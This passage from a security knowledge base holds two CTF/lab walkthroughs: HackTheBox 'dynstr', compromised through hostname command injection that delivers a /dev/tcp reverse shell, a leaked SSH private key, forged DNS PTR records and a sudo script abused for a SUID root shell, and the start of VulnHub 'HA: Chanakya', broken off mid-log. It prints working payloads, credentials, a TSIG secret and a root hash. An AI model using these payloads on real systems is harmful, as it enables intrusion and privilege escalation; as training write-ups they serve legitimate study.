01:51:44.982463 IP 10.10.14.10 > 10.10.10.244: ICMP echo reply, id 1, seq 4, length 64
01:51:45.289182 IP 10.10.10.244 > 10.10.14.10: ICMP echo request, id 2, seq 1, length 64
01:51:45.289253 IP 10.10.14.10 > 10.10.10.244: ICMP echo reply, id 2, seq 1, length 64
01:51:46.289399 IP 10.10.10.244 > 10.10.14.10: ICMP echo request, id 2, seq 2, length 64
01:51:46.289414 IP 10.10.14.10 > 10.10.10.244: ICMP echo reply, id 2, seq 2, length 64
01:51:47.290146 IP 10.10.10.244 > 10.10.14.10: ICMP echo request, id 2, seq 3, length 64
01:51:47.290164 IP 10.10.14.10 > 10.10.10.244: ICMP echo reply, id 2, seq 3, length 64
01:51:48.291232 IP 10.10.10.244 > 10.10.14.10: ICMP echo request, id 2, seq 4, length 64
01:51:48.291246 IP 10.10.14.10 > 10.10.10.244: ICMP echo reply, id 2, seq 4, length 64
```

#### Exploitation

Let's get the revshell back to our machine

#### Don't forget to spin up listener on that port.

```python
#!/usr/bin/python3

import requests
from requests.auth import HTTPBasicAuth
from base64 import b64encode

url = 'http://dyna.htb/nic/update'
payload = b'bash -i >& /dev/tcp/10.10.14.10/1122 0>&1'
final = b64encode(payload)
print ('{}'.format(final.decode()))
params = {
	'myip' : '10.10.14.10',
	'hostname': '`echo "{}" | base64 -d | bash`"dynadns.no-ip.htb'.format(final.decode()),
	'offline': 'YES'
}


res = requests.get(url, verify=False, auth=HTTPBasicAuth('dynadns', 'sndanyd'), params=params)
print (res.text)
```

on NC

```bash
┌──(root💀kali)-[~/hackthebox/machine/dynstr]
└─# rlwrap nc -nlvp 1122
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::1122
Ncat: Listening on 0.0.0.0:1122
Ncat: Connection from 10.10.10.244.
Ncat: Connection from 10.10.10.244:53898.
bash: cannot set terminal process group (745): Inappropriate ioctl for device
bash: no job control in this shell
id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
whoami
www-data
www-data@dynstr:/var/www/html/nic$
```

We have REV shell now let's go onto user.

#### WWW-Data to bindmgr
#### Enumeration

```bash
ls -al /home
total 16
drwxr-xr-x  4 root    root    4096 Mar 15 20:26 .
drwxr-xr-x 18 root    root    4096 May 25 14:52 ..
drwxr-xr-x  5 bindmgr bindmgr 4096 Mar 15 20:39 bindmgr
drwxr-xr-x  3 dyna    dyna    4096 Mar 18 20:00 dyna
```

Looks like we have access to both of the users.
let's check bindmgr

```bash
ls -al
total 36
drwxr-xr-x 5 bindmgr bindmgr 4096 Mar 15 20:39 .
drwxr-xr-x 4 root    root    4096 Mar 15 20:26 ..
lrwxrwxrwx 1 bindmgr bindmgr    9 Mar 15 20:29 .bash_history -> /dev/null
-rw-r--r-- 1 bindmgr bindmgr  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 bindmgr bindmgr 3771 Feb 25  2020 .bashrc
drwx------ 2 bindmgr bindmgr 4096 Mar 13 12:09 .cache
-rw-r--r-- 1 bindmgr bindmgr  807 Feb 25  2020 .profile
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 12:09 .ssh
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 14:53 support-case-C62796521
-r-------- 1 bindmgr bindmgr   33 Jun 13 00:03 user.txt
```

Looks like we have access .ssh so let's look into it.

```bash
ls -al
total 24
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 12:09 .
drwxr-xr-x 5 bindmgr bindmgr 4096 Mar 15 20:39 ..
-rw-r--r-- 1 bindmgr bindmgr  419 Mar 13 12:00 authorized_keys
-rw------- 1 bindmgr bindmgr 1823 Mar 13 11:48 id_rsa
-rw-r--r-- 1 bindmgr bindmgr  395 Mar 13 11:48 id_rsa.pub
-rw-r--r-- 1 bindmgr bindmgr  444 Mar 13 12:09 known_hosts
```

We can get the id_rsa.pub,known host and authorized_keys but not id_rsa that sucks.

Let's check authorized_keys first.

```bash
cat authorized_keys
from="*.infra.dyna.htb" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF4pkc7L5EaGz6CcwSCx1BqzuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7aXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38PZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WOD bindmgr@nomen
```

We can connect to bindmgr using his private key if we satisfy this DNS record condition \*.infra.dyna.htb but can't get into that until we have the id_rsa even if we pass the check.

Looking inside home directory we have access to another unsual and intresting directory support-case-C62796521.
Let's look into it.

```bash
ls -al
total 436
drwxr-xr-x 2 bindmgr bindmgr   4096 Mar 13 14:53 .
drwxr-xr-x 5 bindmgr bindmgr   4096 Mar 15 20:39 ..
-rw-r--r-- 1 bindmgr bindmgr 237141 Mar 13 14:53 C62796521-debugging.script
-rw-r--r-- 1 bindmgr bindmgr  29312 Mar 13 14:53 C62796521-debugging.timing
-rw-r--r-- 1 bindmgr bindmgr   1175 Mar 13 14:53 command-output-C62796521.txt
-rw-r--r-- 1 bindmgr bindmgr 163048 Mar 13 14:52 strace-C62796521.txt
```

let's check all the files

```bash
<-----SNIP------>
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37HhVANJgY7EoewTwmSCcsl1
42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwiOM8u/g8lV3
HjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+F
L6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdn
UOLzjapbDdRHKRJDftvJ3ZXJYL5vtupoZuzTTD1VrOMng13Q5T90kndcpyhCQ50IW4XNbX
CUjxJ+1jgwAAA8g3MHb+NzB2/gAAAAdzc2gtcnNhAAABAQDF4pkc7L5EaGz6CcwSCx1Bqz
uSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7a
XQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38P
ZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk
+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs
4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WODAAAAAwEAAQAAAQEAmg1KPaZgiUjybcVq
xTE52YHAoqsSyBbm4Eye0OmgUp5C07cDhvEngZ7E8D6RPoAi+wm+93Ldw8dK8e2k2QtbUD
PswCKnA8AdyaxruDRuPY422/2w9qD0aHzKCUV0E4VeltSVY54bn0BiIW1whda1ZSTDM31k
obFz6J8CZidCcUmLuOmnNwZI4A0Va0g9kO54leWkhnbZGYshBhLx1LMixw5Oc3adx3Aj2l
u291/oBdcnXeaqhiOo5sQ/4wM1h8NQliFRXraymkOV7qkNPPPMPknIAVMQ3KHCJBM0XqtS
TbCX2irUtaW+Ca6ky54TIyaWNIwZNznoMeLpINn7nUXbgQAAAIB+QqeQO7A3KHtYtTtr6A
Tyk6sAVDCvrVoIhwdAHMXV6cB/Rxu7mPXs8mbCIyiLYveMD3KT7ccMVWnnzMmcpo2vceuE
BNS+0zkLxL7+vWkdWp/A4EWQgI0gyVh5xWIS0ETBAhwz6RUW5cVkIq6huPqrLhSAkz+dMv
C79o7j32R2KQAAAIEA8QK44BP50YoWVVmfjvDrdxIRqbnnSNFilg30KAd1iPSaEG/XQZyX
Wv//+lBBeJ9YHlHLczZgfxR6mp4us5BXBUo3Q7bv/djJhcsnWnQA9y9I3V9jyHniK4KvDt
U96sHx5/UyZSKSPIZ8sjXtuPZUyppMJVynbN/qFWEDNAxholEAAACBANIxP6oCTAg2yYiZ
b6Vity5Y2kSwcNgNV/E5bVE1i48E7vzYkW7iZ8/5Xm3xyykIQVkJMef6mveI972qx3z8m5
rlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoG
jGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
<-----SNIP------>
```

We have the output key in strace file.
strace-C62796521.txt
So now we have the private key now we can start working on the DNS condition part for SSH login.

#### Exploitation

As we know that PTR records provides the domain name associated with an IP so we have to add PTR record that matches the above regex that is pointing to our IP.

First of all to edit the records for infra we have to get the key for infra so let's get it by going to /etc/bind/infra.key

```bash
cat /etc/bind/infra.key
key "infra-key" {
        algorithm hmac-sha256;
        secret "7qHH/eYXorN2ZNUM1dpLie5BmVstOw55LgEeacJZsao=";
};
```

Now that we have the key we can bind out record into DNS so let's try that.
First we have to load up the nslookup console and import the keyfile.

```bash
nsupdate -k /etc/bind/infra.key
```

Then let's add the A record for our host

```bash
update add test.infra.dyna.htb 86400 A 10.10.14.5

update add 5.14.10.10.in-addr.arpa 300 PTR test.infra.dyna.htb
```

For eg- your ip is 10.10.14.127
Reverse ip is 127.14.10.10
It's is important to leave a line after addition of the A record or else it will give you an update failed: NOTZONE error.
so after this let's see what we are adding.

```bash
nsupdate -k /etc/bind/infra.key
update add oops.infra.dyna.htb 86400 A 10.10.14.5

update add 5.14.10.10.in-addr.arpa 86400 PTR oops.infra.dyna.htb
show
Outgoing update query:
;; ->>HEADER<<- opcode: UPDATE, status: NOERROR, id:      0
;; flags:; ZONE: 0, PREREQ: 0, UPDATE: 0, ADDITIONAL: 0
;; UPDATE SECTION:
5.14.10.10.in-addr.arpa. 86400  IN      PTR     oops.infra.dyna.htb.

send
quit
```

And then after that send it and quit.
now let's copy the above RSA key in a id_rsa file and let's SSH.

```bash
┌──(root💀kali)-[~/hackthebox/machine/dynstr]
└─# chmod 700 id_rsa
┌──(root💀kali)-[~/hackthebox/machine/dynstr]
└─# ssh -i id_rsa bindmgr@dyna.htb                                                                                                            
Last login: Sun Jun 13 19:22:54 2021 from test.infra.dyna.htb
bindmgr@dynstr:~$ id
uid=1001(bindmgr) gid=1001(bindmgr) groups=1001(bindmgr)
bindmgr@dynstr:~$ whoami
bindmgr
bindmgr@dynstr:~$ ls
id_rsa  root.txt  support-case-C62796521  user.txt
bindmgr@dynstr:~$ cat user.txt
32ce9c7cacb7d79e7ae424b0c42b6647
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2004.jpg)

And we are bindmgr let's get root now.

#### PrivESC
#### Enumeration
#### sudo -l

```bash
bindmgr@dynstr:/tmp$ sudo -l
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
Matching Defaults entries for bindmgr on dynstr:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User bindmgr may run the following commands on dynstr:
    (ALL) NOPASSWD: /usr/local/bin/bindmgr.sh
```

Looks like we can run /usr/bin/local/bindmgr.sh as root so let's look into script.

```bash
#!/usr/bin/bash
# This script generates named.conf.bindmgr to workaround the problem
# that  bind/named can only include single files but no directories.
#
# It creates a named.conf.bindmgr file in /etc/bind that can be included
# from named.conf.local (or others) and will include all files from the
# directory /etc/bin/named.bindmgr.
#
# NOTE: The script is work in progress. For now bind is not including
#named.conf.bindmgr.
#
# TODO: Currently the script is only adding files to the directory but
#not deleting them. As we generate the list of files to be included
#from the source directory they won't be included anyway.

BINDMGR_CONF=/etc/bind/named.conf.bindmgr
BINDMGR_DIR=/etc/bind/named.bindmgr

indent() { sed 's/^/    /'; }

# Check versioning (.version)
echo "[+] Running $0 to stage new configuration from $PWD."
if [[ ! -f .version ]] ; then
	echo "[-] ERROR: Check versioning. Exiting."
	exit 42
fi  
if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then                                                                     [0/598]
	echo "[-] ERROR: Check versioning. Exiting."
	exit 43
fi
# Create config file that includes all files from named.bindmgr.
echo "[+] Creating $BINDMGR_CONF file."
printf '// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONF 
for file in * ; do
	printf 'include "/etc/bind/named.bindmgr/%s";\n' "$file" >> $BINDMGR_CONF
done

# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR." 
cp .version * /etc/bind/named.bindmgr/

# Check generated configuration with named-checkconf.
echo "[+] Checking staged configuration." 
named-checkconf $BINDMGR_CONF >/dev/null
if [[ $? -ne 0 ]] ; then
	echo "[-] ERROR: The generated configuration is not valid. Please fix following errors: "
	named-checkconf $BINDMGR_CONF 2>&1 | indent
	exit 44
else 
	echo "[+] Configuration successfully staged."
	# *** TODO *** Uncomment restart once we are live.
	# systemctl restart bind9
	if [[ $? -ne 0 ]] ; then
		echo "[-] Restart of bind9 via systemctl failed. Please check logfile: "
		systemctl status bind9
	else
		echo "[+] Restart of bind9 via systemctl succeeded."
	fi
fi
```

Looking at the script we can see that we need a .version file in the current directory with a version number so let's create it.

```bash
bindmgr@dynstr:/dev/shm$ echo "2" > .version
```

we can see from the script that we can get the privilege on the binary in the same directory so let's get /bin/bash to this directory.

```bash
bindmgr@dynstr:/dev/shm$ cp /bin/bash .
```

Now let's give it a suid bit and preserve that mode on that binary so now when we will execute the script we will get root privileged binary in /etc/bind/named.bindmgr/

```bash
bindmgr@dynstr:/dev/shm$ chmod +s bash
bindmgr@dynstr:/dev/shm$ echo > --preserve=mode
bindmgr@dynstr:/dev/shm$ ls -la
total 1164
drwxrwxrwt  2 root    root        100 Jun 14 08:41  .
drwxr-xr-x 17 root    root       3940 Jun 12 21:02  ..
-rwsr-sr-x  1 bindmgr bindmgr 1183448 Jun 14 08:40  bash
-rw-rw-r--  1 bindmgr bindmgr       1 Jun 14 08:41 '--preserve=mode'
-rw-rw-r--  1 bindmgr bindmgr       2 Jun 14 08:40  .version
```

Now let's execute the sudo command and get the root privileges on our bash binary.

```bash
bindmgr@dynstr:/dev/shm$ sudo /usr/local/bin/bindmgr.sh 
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /dev/shm.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors: 
    /etc/bind/named.bindmgr/bash:1: unknown option 'ELF...'
    /etc/bind/named.bindmgr/bash:14: unknown option 'hȀE'
    /etc/bind/named.bindmgr/bash:40: unknown option 'YF'
    /etc/bind/named.bindmgr/bash:40: unexpected token near '}'
bindmgr@dynstr:/dev/shm$ ls
 bash  '--preserve=mode'
bindmgr@dynstr:/dev/shm$ ls -al
total 1164
drwxrwxrwt  2 root    root        100 Jun 13 19:22  .
drwxr-xr-x 17 root    root       3960 Jun 13 15:38  ..
-rwsr-sr-x  1 bindmgr bindmgr 1183448 Jun 13 19:20  bash
-rw-rw-r--  1 bindmgr bindmgr       1 Jun 13 19:22 '--preserve=mode'
-rw-rw-r--  1 bindmgr bindmgr       2 Jun 13 19:17  .version
```

Now let's run the bash as the privileged as root.

```bash
bindmgr@dynstr:/dev/shm$ /etc/bind/named.bindmgr/bash -p 
bash-5.0# id
uid=1001(bindmgr) gid=1001(bindmgr) euid=0(root) egid=117(bind) groups=117(bind),1001(bindmgr)
bash-5.0# cat /etc/shadow | grep root
root:$6$knCJjR0E8SuLyI5.$r7dGtVVY/Z6X0RQKxUvBZY4BQ3DwL7kHtu5YO9cclorPryKq489j2JqN262Ows/aRZvFkQ1R9uQyqoVWeS8ED1:18705:0:99999:7:::
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2005.jpg)

Now we are root let's get all the flags.

#### Summary of knowledge

 - DNS Enumeration to find some subdomains
 - Directory Fuzzing using ffuf
 - use HTTPBasicAuth get a rev shell
 - add PTR record pointing to our IP to ssh into the shell
 - privesc through /usr/bin/local/bindmgr.sh script

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end dynstr -->

</details>

<a id="case-ha-chanakya"></a>

## FTP 流量与授权密钥

PCAP 中的 FTP 凭据连接可写目录，授权密钥带来 SSH 登录；chkrootkit 任务成为本地提权点。文件落点与任务时序可在记录中核查。

<p class="kb-provenance">来源 HA-Chanakya · 原记录 2019-12-16 · 12 个代码块 · 2 处图片引用</p>

<details class="kb-evidence" id="record-ha-chanakya">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start HA-Chanakya -->

名称：HA: Chanakya
发布日期：2019年11月9日

下载：

 - Download: [https://drive.google.com/file/d/19IyCAe91_EeELwjTFqoZ4_fwHKURNBD4/view?usp=sharing](https://drive.google.com/file/d/19IyCAe91_EeELwjTFqoZ4_fwHKURNBD4/view?usp=sharing)
 - Download (Mirror): [https://download.vulnhub.com/ha/chanakya.zip](https://download.vulnhub.com/ha/chanakya.zip)
 - Download (Torrent): [https://download.vulnhub.com/ha/chanakya.zip.torrent](https://download.vulnhub.com/ha/chanakya.zip.torrent)

描述：

摧毁王国的策划者又回来了，这次他创造了一个难题，会让你挠头！ 是时候面对Chanakya。
您能否解决这个“从根本上启动”并证明自己比较明智？
枚举是关键！！！！

级别：中级

任务：枚举目标计算机并获得root用户访问权限。



#### 信息收集

老规矩上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.142.0/24
Nmap scan report for 192.168.142.130
Host is up (0.00034s latency).
MAC Address: 00:0C:29:BB:CA:D3 (VMware)
```

``` bash
root@kali:~# nmap -A -sV -Pn -T4 -v --script=vuln 192.168.142.130
PORT   STATE SERVICE VERSION
21/tcp open  ftp     pyftpdlib 1.0.0 or later
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_sslv2-drown: 
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|_  /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| http-internal-ip-disclosure: 
|_  Internal IP Leaked: 127.0.1.1
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| vulners: 
|   cpe:/a:apache:http_server:2.4.29: 
|       CVE-2019-0211   7.2     https://vulners.com/cve/CVE-2019-0211
|       CVE-2018-1312   6.8     https://vulners.com/cve/CVE-2018-1312
|       CVE-2017-15715  6.8     https://vulners.com/cve/CVE-2017-15715
|       CVE-2019-10082  6.4     https://vulners.com/cve/CVE-2019-10082
|       CVE-2019-0217   6.0     https://vulners.com/cve/CVE-2019-0217
|       CVE-2019-10098  5.8     https://vulners.com/cve/CVE-2019-10098
|       CVE-2019-10081  5.0     https://vulners.com/cve/CVE-2019-10081
|       CVE-2019-0220   5.0     https://vulners.com/cve/CVE-2019-0220
|       CVE-2019-0196   5.0     https://vulners.com/cve/CVE-2019-0196
|       CVE-2018-17199  5.0     https://vulners.com/cve/CVE-2018-17199
|       CVE-2018-1333   5.0     https://vulners.com/cve/CVE-2018-1333
|       CVE-2017-15710  5.0     https://vulners.com/cve/CVE-2017-15710
|       CVE-2019-0197   4.9     https://vulners.com/cve/CVE-2019-0197
|       CVE-2019-10092  4.3     https://vulners.com/cve/CVE-2019-10092
|       CVE-2018-11763  4.3     https://vulners.com/cve/CVE-2018-11763
|_      CVE-2018-1283   3.5     https://vulners.com/cve/CVE-2018-1283
```

dirb目录扫一波

``` bash
root@kali:~# dirb http://192.168.142.130/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun Dec 15 22:27:13 2019
URL_BASE: http://192.168.142.130/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.142.130/ ----
==> DIRECTORY: http://192.168.142.130/assets/                                                         
==> DIRECTORY: http://192.168.142.130/images/                                                         
+ http://192.168.142.130/index.html (CODE:200|SIZE:2382)                                              
+ http://192.168.142.130/server-status (CODE:403|SIZE:280)

root@kali:~# dirb http://192.168.142.130/ -X .txt

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun Dec 15 22:28:34 2019
URL_BASE: http://192.168.142.130/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.txt) | (.txt) [NUM = 1]

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.142.130/ ----
+ http://192.168.142.130/abuse.txt (CODE:200|SIZE:14)
```

访问该txt文件发现如下内容

``` bash
nfubxn.cpncat
```

使用[rot13.com](https://rot13.com/)进行rot13解密，解密出来是ashoka.pcapng，然后访问(http://192.168.142.130/ashoka.pcapng),将此文件下载，然后wireshark打开该文件。

在Wireshark中打开捕获的文件，然后跟随ftp流量的tcp流，并获得ftp的用户名ashoka和密码kautilya。

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub63.jpg)

``` bash
220 pyftpdlib based ftpd ready.
USER ashoka
331 Username ok, send password.
PASS kautilya
230 Login successful.
SYST
215 UNIX Type: L8
FEAT
211-Features supported:
 EPRT
 EPSV
 MDTM
 MLST type*;perm*;size*;modify*;unique*;unix.mode;unix.uid;unix.gid;
 REST STREAM
 SIZE
 TVFS
 UTF8
211 End FEAT.
OPTS UTF8 ON
501 Invalid argument.
PWD
257 "/" is the current directory.
TYPE A
200 Type set to: ASCII.
PASV
227 Entering passive mode (192,168,1,101,177,201).
MLSD
150 File status okay. About to open data connection.
226 Transfer complete.
```

现在有了FTP登录凭据，登录到FTP服务器。 登录后，运行ls命令环顾四周。 发现在根目录中。 因此，决定通过将SSH放置在此位置来完成ssh的操作。 为此，创建一个名为“ .ssh”的目录。 遍历这个新创建的目录后，回到本机终端。

``` bash
root@kali:~# ftp 192.168.142.130
Connected to 192.168.142.130.
220 pyftpdlib based ftpd ready.
Name (192.168.142.130:root): ashoka
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 Active data connection established.
125 Data connection already open. Transfer starting.
-rw-------   1 ashoka   ashoka          1 Nov 05 15:57 .bash_history
-rw-r--r--   1 ashoka   ashoka        220 Nov 05 14:05 .bash_logout
-rw-r--r--   1 ashoka   ashoka       3771 Nov 05 14:05 .bashrc
drwx------   2 ashoka   ashoka       4096 Nov 05 14:18 .cache
drwxrwxr-x   3 ashoka   ashoka       4096 Nov 05 14:26 .local
-rw-r--r--   1 ashoka   ashoka        807 Nov 05 14:05 .profile
226 Transfer complete.
ftp> mkdir .ssh
257 "/.ssh" directory created.
ftp> cd .ssh
250 "/.ssh" is the current directory.
```

现在该生成一些ssh密钥了。 使用ssh-keygen创建了一些密钥。 输入的密码为“ 123”。 这可以是您选择的任何东西。 将其保留下来以便于记忆。 在创建密钥之后继续前进，进入了本机shell程序的.ssh目录。 在这里，看到了名为“ id_rsa.pub”的密钥。 现在需要将此密钥上传到FTP，因此将is_rsa.pub的内容复制到名为authorized_keys的文件中。

``` bash
root@kali:~/.ssh# ls
id_rsa  id_rsa.pub  known_hosts
root@kali:~/.ssh# cat id_rsa.pub > authorized_keys
root@kali:~/.ssh# ls
authorized_keys  id_rsa  id_rsa.pub  known_hosts
root@kali:~/.ssh# cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTIuh8j20bp4uFWWmOn9IXRvRYDVvBjARjPeCZ7o00nnwTzJ/Y1OBU1AoDVNIq6aM/CVJ9qCy0zceqNfC1roGUM+cvUVO+qR5aG+QnT8mxdRnoXin+JAk8nFuynJ63016zuauB0iQUwyQ9dRm+jzW9+J/9S86Fd/qcbKNYbW5wn9Chh3T+bj+T+6RCKlU7q6q+Kc1S4WfI7iXJ6doR9hxD91CRUVWG/KyADbZuWsTuDyxxrQ/KA8ek05owsokgIc9rS8ZjtB23rR1yai/B3hfjjQgKMQkF6k9D7J6Qm07VgDZkYm4RTxlO8bDDnfkNOBs9rzBomPrN2rOeounir4ZIj+dDDpH9tGklDLyCW6RKx8fiN/s9z5Knf61a+9nielEO8DUqaEt+bHTl/3uVimZ01upoLEamclLadpMSBfT6CccUnD2bu4Kcb9kcOjHTW4pQEL9BXSu+upvQDJyRsPxy1JLNZ5xdkJoQKyt5OArNjUq7SsVAOZzNQRaM3JGit9s= root@kali
root@kali:~/.ssh# cat authorized_keys 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTIuh8j20bp4uFWWmOn9IXRvRYDVvBjARjPeCZ7o00nnwTzJ/Y1OBU1AoDVNIq6aM/CVJ9qCy0zceqNfC1roGUM+cvUVO+qR5aG+QnT8mxdRnoXin+JAk8nFuynJ63016zuauB0iQUwyQ9dRm+jzW9+J/9S86Fd/qcbKNYbW5wn9Chh3T+bj+T+6RCKlU7q6q+Kc1S4WfI7iXJ6doR9hxD91CRUVWG/KyADbZuWsTuDyxxrQ/KA8ek05owsokgIc9rS8ZjtB23rR1yai/B3hfjjQgKMQkF6k9D7J6Qm07VgDZkYm4RTxlO8bDDnfkNOBs9rzBomPrN2rOeounir4ZIj+dDDpH9tGklDLyCW6RKx8fiN/s9z5Knf61a+9nielEO8DUqaEt+bHTl/3uVimZ01upoLEamclLadpMSBfT6CccUnD2bu4Kcb9kcOjHTW4pQEL9BXSu+upvQDJyRsPxy1JLNZ5xdkJoQKyt5OArNjUq7SsVAOZzNQRaM3JGit9s= root@kali
root@kali:~/.ssh# ls
authorized_keys  id_rsa  id_rsa.pub  known_hosts
```
使用put命令将文件传输到目标计算机

``` bash
ftp> put authorized_keys 
local: authorized_keys remote: authorized_keys
200 Active data connection established.
125 Data connection already open. Transfer starting.
226 Transfer complete.
563 bytes sent in 0.00 secs (14.5113 MB/s)
ftp> ls
200 Active data connection established.
125 Data connection already open. Transfer starting.
-rw-r--r--   1 root     root          563 Dec 16 05:30 authorized_keys
226 Transfer complete.
```

现在，使用ssh连接到目标计算机。 由于之前放置了授权密钥，因此现在可以登录。 得到了Ashoka用户的shell。 经过一些枚举，看到临时文件中有一个日志文件。 尝试使用cat命令。 看起来像Chkrootkit测试结果日志。 这提示也许可以使用Chkrootkit在此计算机上升级特权。

``` bash
root@kali:~# ssh ashoka@192.168.142.130
The authenticity of host '192.168.142.130 (192.168.142.130)' can't be established.
ECDSA key fingerprint is SHA256:cuEf1JsbferQL5tQ/iVC9mGMCIALDE5/sX/OJt5LgPQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.142.130' (ECDSA) to the list of known hosts.
Enter passphrase for key '/root/.ssh/id_rsa': 
Enter passphrase for key '/root/.ssh/id_rsa': 
Enter passphrase for key '/root/.ssh/id_rsa': 
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-20-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch
Last login: Tue Nov  5 06:36:00 2019 from 192.168.1.107
ashoka@ubuntu:~$ id
uid=1001(ashoka) gid=1001(ashoka) groups=1001(ashoka)
ashoka@ubuntu:~$ whoami
ashoka
ashoka@ubuntu:~$ cat /tmp/logs
ROOTDIR is `/'
Checking `amd'... not found
Checking `basename'... not infected
Checking `biff'... not found
Checking `chfn'... not infected
Checking `chsh'... not infected
Checking `cron'... not infected
Checking `crontab'... not infected
Checking `date'... not infected
Checking `du'... not infected
Checking `dirname'... not infected
Checking `echo'... not infected
Checking `egrep'... not infected
Checking `env'... not infected
Checking `find'... not infected
Checking `fingerd'... not found
Checking `gpm'... not found
Checking `grep'... not infected
Checking `hdparm'... not infected
Checking `su'... not infected
Checking `ifconfig'... not infected
Checking `inetd'... not tested
Checking `inetdconf'... not found
Checking `identd'... not found
Checking `init'... not infected
Checking `killall'... not infected
Checking `ldsopreload'... can't exec ./strings-static, not tested
Checking `login'... not infected
Checking `ls'... not infected
Checking `lsof'... not infected
Checking `mail'... not found
Checking `mingetty'... not found
Checking `netstat'... not infected
Checking `named'... not found
Checking `passwd'... not infected
Checking `pidof'... not infected
Checking `pop2'... not found
Checking `pop3'... not found
Checking `ps'... not infected
Checking `pstree'... not infected
Checking `rpcinfo'... not found
Checking `rlogind'... not found
Checking `rshd'... not found
Checking `slogin'... not infected
Checking `sendmail'... not found
Checking `sshd'... not infected
Checking `syslogd'... not tested
Checking `tar'... not infected
Checking `tcpd'... INFECTED
